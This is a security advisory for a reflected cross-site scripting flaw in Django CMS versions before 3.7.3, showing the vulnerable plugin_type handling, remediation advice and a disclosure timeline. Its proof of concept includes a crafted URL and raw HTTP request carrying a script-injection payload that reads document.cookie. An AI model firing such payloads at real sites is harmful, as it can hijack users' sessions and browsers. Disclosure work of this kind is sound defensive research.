Django CMS - Reflected XSS Vulnerability
22 Jul 2020Django CMS application does not validate plugin_type
parameter while generating the error messages for invalid plugin type. The vulnerability allows an attacker to execute arbitrary javascript code in the web browser of affected user.
Vendor Advisory
- https://www.django-cms.org/en/blog/2020/07/22/django-cms-security-updates-1/
CVSSv3 score
7.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
Affected versions
- All django-cms versions prior to 3.7.3
Vulnerability summary
Django CMS application does not validate plugin_type
parameter while generating the error messages for invalid plugin type. The vulnerability allows an attacker to execute arbitrary javascript code in the web browser of affected user.
Technical details
In the following code snippet, observe that at line:300, the application pass the GET request object request.GET
as a constructor to PluginAddValidationForm
class in order to validate the add plugin request parameters.
file: /cms/admin/placeholderadmin.py
288 def add_plugin(self, request):
289 """
290 Shows the add plugin form and saves it on POST.
291
292 Requires the following GET parameters:
293 - cms_path
294 - placeholder_id
295 - plugin_type
296 - plugin_language
297 - plugin_parent (optional)
298 - plugin_position (optional)
299 """
300 form = PluginAddValidationForm(request.GET)
301
302 if not form.is_valid():
303 # list() is necessary for python 3 compatibility.
304 # errors is s dict mapping fields to a list of errors
305 # for that field.
306 error = list(form.errors.values())[0][0]
307 return HttpResponseBadRequest(force_text(error))
308
309 plugin_data = form.cleaned_data
310 placeholder = plugin_data['placeholder_id']
311 plugin_type = plugin_data['plugin_type']
At line: 1268, observe that the application directly concatenates the user input plugin_type
to the error message, if the user provides an invalid plugin_type paramter.
file: /cms/admin/forms.py
1250 class PluginAddValidationForm(forms.Form):
1251 placeholder_id = forms.ModelChoiceField(
1252 queryset=Placeholder.objects.all(),
1253 required=True,
1254 )
1255 plugin_language = forms.CharField(required=True)
1256 plugin_parent = forms.ModelChoiceField(
1257 CMSPlugin.objects.all(),
1258 required=False,
1259 )
1260 plugin_type = forms.CharField(required=True)
1261
1262 def clean_plugin_type(self):
1263 plugin_type = self.cleaned_data['plugin_type']
1264
1265 try:
1266 plugin_pool.get_plugin(plugin_type)
1267 except KeyError:
1268 message = ugettext("Invalid plugin type '%s'") % plugin_type
Proof of concept
-
Login to the application using admin credentials and create a page.
-
Add a new plugin to the page.
-
In the new browser tab, open the following url:
http://<example_cms>/en/admin/cms/page/add-plugin/?placeholder_id=2&plugin_type=Bootstrap4CodePlugin"><script>alert(document.cookie)</script>&cms_path=/en/?edit&language=en&plugin_language=en
GET /en/admin/cms/page/add-plugin/?placeholder_id=2&plugin_type=Bootstrap4CodePlugin"><script>alert(document.cookie)</script>&cms_path=/en/?edit&language=en&plugin_language=en HTTP/1.1
Host: django-cms.com:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://django-cms.com:8000/en/?edit&language=en
Cookie: django_language=en; csrftoken=liLgHvhAMwI4mGfomHAlfoinhN9Vru7CbzA4FOQ4OP974LFqHZ2e6EsDsKsJpmb4; sessionid=ni8fcfeuk4w6cvjp0cipq19jqjbsuxh5
Upgrade-Insecure-Requests: 1
- Observe that the user input gets reflected in the application’s response.
HTTP/1.1 400 Bad Request
Date: Fri, 10 Jul 2020 10:15:51 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Expires: Fri, 10 Jul 2020 10:15:51 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
Content-Length: 83
Content-Language: en
Vary: Cookie
Invalid plugin type 'Bootstrap4CodePlugin"><script>alert(document.cookie)</script>'
Remediation
It is recommended to implement Context Specific filtering to the user input which needs to be displayed in the application response.
Timeline
Date | Status |
---|---|
10-JUL-2020 | Reported to vendor |
10-JUL-2020 | Vendor acknowledgement |
21-JUL-2020 | Patch available |
22-JUL-2020 | Public disclosure |